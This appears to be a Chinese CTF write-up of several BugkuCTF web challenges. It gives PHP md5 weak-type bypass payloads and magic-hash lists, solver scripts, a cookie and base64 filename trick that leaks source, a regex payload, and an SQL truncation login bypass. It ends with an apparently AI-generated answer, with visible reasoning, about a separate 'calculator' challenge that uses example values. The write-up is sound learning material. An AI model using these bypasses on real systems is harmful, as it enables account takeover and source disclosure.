BugkuCTF

本文深入探讨了多种渗透测试技巧,包括利用PHP弱点获取flag、快速数学计算、Cookie欺骗、SQL约束攻击等,提供了实战代码与解析。

1.听说备份是个好习惯

访问时,有一串md5

d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427e

解密说是空密码。

然后进行目录扫描,发现源码泄露。

<?php
/**
 * Created by PhpStorm.
 * User: Norse
 * Date: 2017/8/6
 * Time: 20:22
*/

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."获取flag";
}
?>
1. $str=str_replace('key','',$str) //replace替换  key会替换成空。使用kekeyy绕过
2. md5($key1)==md5($key2)       //key1 和key2的md5值要相同
3.  $key1!==$key2                  //key1和key2值要不相同

第一种

md5()函数无法处理数组,如果传入的为数组,会返回NULL

payload :http://123.206.87.240:8002/web16/?kkeyey1[]=1&kkeyey2[]=a

第二种

php弱类型绕过构造提交的值md5(),开头为0e

payload:http://123.206.87.240:8002/web16/?kkeyey1=s878926199a&kkeyey2=s155964671a

提供常用的php弱类型

s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020<

 2.秋名山老司机(快速计算)

直接帖代码

import requests
import re
url='http://123.206.87.240:8002/qiumingshan/'
s=requests.Session()
r=s.get(url)
num=re.findall(r'<div>(.*)=',r.text)[0]
result=eval(num)
r=s.post(url,data={'value':result})
r.encoding='utf-8'
print (r.text)

 3.我感觉你的快点

查看源代码,让以post方法去访问。

查看数据包,看到有一个flag字段。base64去解码,发现是一串数字,然后使用给的参数加数字,使用post去访问。

直接上代码

import requests
import base64
import re

url = 'http://123.206.87.240:8002/web6/'
e=requests.Session()                                    //获取session。
s=e.get(url)                                                 //以get方式去请求
html=s.headers['flag']                                  //获取返回数据包中flag字段
q=base64.b64decode(base64.b64decode(html)[-8:])  
//第一次把flag中的字段进行base64解码,然后取解码后的后8位进行第二次base64解码
data={'margin':q}                                   //获取margin这个参数,
c=e.post(url,data = data)                        //使用post去请求
print(c.text)                                            //返回信息
    

 4.cookie欺骗

url:http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy50eHQ=  发现后面为base64。进行解码 为 key.txt  

然后把这个进行更换,为index.php  (开始尝试了flag.txt,没有东西) 发现有东西,然后修改line 这个参数,发现每更换一个数字就会返回不一样的结果。

利用脚本

import requests
for i in range(10):
    url='http://123.206.87.240:8002/web11/index.php?line={0}&filename=aW5kZXgucGhw'.format(i)
    r=requests.get(url)
    print (r.text)

获得代码

<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){$file_list[2]='keys.php';}if(in_array($file, $file_list)){$fa = file($file);echo $fa[$line];}?>

 发现还有 cookie: margin=margin   && 访问keys.php  即可。

5.字符?正则?

打开网页发现有一串PHP

 <?php 
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){ 
  die('key is: '.$key);
}
?> 

进行分析一下,通过 id 传参,并且要符合上面的正则表达式,key就会显示。

highlight_file  对文件进行语法高亮显示。
preg_match (要搜索的模式,字符串,参数) 在字符串里搜索符合 要搜索的模式 的字符,并返回给参数。

分析正则

.                                  匹配除 "\n" 之外的任何单个字符
.*                     就是单个字符匹配任意次,即贪婪匹配 {
4,7}                            最少匹配 4 次且最多匹配 7 次,结合前面的 . 也就是匹配 47 个任意字符 \/                                匹配 / ,这里的 \ 是为了转义 [a-z]                            匹配所有小写字母 [:punct:]                    匹配任何标点符号 /i                              表示不分大小写

由上构造payload。

?id=keykey1111key:/a/keya:

,得flag。

 <?php 
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){ 
  die('key is: '.$key);
}
?>
key is: KEY{0x0SIOPh550afc}

 6.Login1(SKCTF)

题目提示:SQL约束攻击。(一脸懵逼,没见过。~~)

SQL约束攻击:

在sql执行字符串处理的时候,字符串末尾的空格符都会被删除,以下两个字符串结果相等,在数据库对字符串进行比较时,如果两个字符串的长度不一样,则会将较短的字符串末尾填充空格,使两个字符串的长度一致.
SELECT * FROM users WHERE username='test   '; 
SELECT
* FROM users WHERE username='test';

INSERT截断:这是数据库的另一个特性,当设计一个字段时,我们都必须对其设定一个最大长度,比如CHAR(10),VARCHAR(20)等等。但是当实际插入数据的长度超过限制时,数据库就会将其进行截断,只保留限定的长度。
说明注册'test'用户 和 'test '用户,由于截断,所有这个两个用户是一样的。
当不知道test用户密码的时候,我们可以创建一个'test '用户 密码‘123456’。在查询的时候会执行下面这条
SELECT username FROM users WHERE username='test' AND password='123456'

这里注册一个'admin     ',密码任意的账号。登录进去后显示flag。

转载于:https://www.cnblogs.com/pangya/p/10214564.html

<think>好的,我现在需要回答用户关于Bugku CTF中的“计算器”题目的问题。首先,用户提到的是寻找相关的工具、题目和解题方法。根据用户提供的引用内容,我需要整合这些信息,确保符合系统级指令的要求,比如正确使用LaTeX格式,结构清晰,并生成相关问题。 首先,我需要回顾用户提供的引用内容。引用1、3、5都提到了“计算器”题目,其中关键点是输入答案时被限制只能输入一位数,解决方法是通过修改HTML中的maxlength属性。引用5还提到可能需要查看JS文件,但根据其他引用,可能不需要这一步,直接修改maxlength即可。引用2和4虽然涉及BugkuCTF的Web题,但可能不直接相关,但可以辅助说明解题思路。 接下来,我需要组织解题步骤。根据引用1、3、5,解题步骤大致是:查看页面发现输入限制,检查源码找到maxlength属性,修改该属性值,输入正确答案,得到flag。需要注意使用中文,正确应用行内公式,例如计算题可能涉及数学表达式,比如$3+5*2$,但用户提供的引用中没有具体题目内容,所以可能需要泛泛而谈。 然后,生成相关问题。根据用户示例,问题应围绕题目的关键点,比如如何绕过输入限制、其他类似题目、常见漏洞类型等。 需要确保回答中引用的段落末尾添加引用标识,比如[^1]、[^3]、[^5]。同时,检查LaTeX是否正确,比如变量用$包裹,独立公式用$$,但当前问题中可能没有复杂的数学公式,所以可能不需要独立公式。 最后,结构要清晰,分步骤说明解题方法,并确保回答真实可靠,引用正确来源。</think>### Bugku CTF 计算器题目解析 该题目是Bugku CTF平台上的Web基础题,要求通过修改前端限制获取flag。以下是具体解题方法: #### 解题步骤 1. **观察题目限制** 题目页面显示一个数学计算题(例如$3+5*2$),但输入框仅允许输入1位数字。根据引用,输入答案时发现无法提交正确结果(如答案为13时需输入两位数)。 2. **查看网页源码** 右键检查页面元素,查找输入框对应的HTML代码,会发现类似语句: ```html <input type="text" maxlength="1"> ``` 其中`maxlength="1"`限制了输入长度。 3. **修改输入限制** 将`maxlength`属性值从1改为3(或直接删除该属性),例如: ```html <input type="text" maxlength="3"> ``` 修改后即可输入多位数字。 4. **提交正确答案** 输入计算结果(如116或13),系统验证通过后返回flag(如`flag{CTF-bugku-0032}`)。 #### 技术原理 该题目考察对前端验证的绕过能力。通过修改客户端HTML属性,绕过输入限制,属于Web安全中“客户端控制”漏洞的典型场景[^4]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值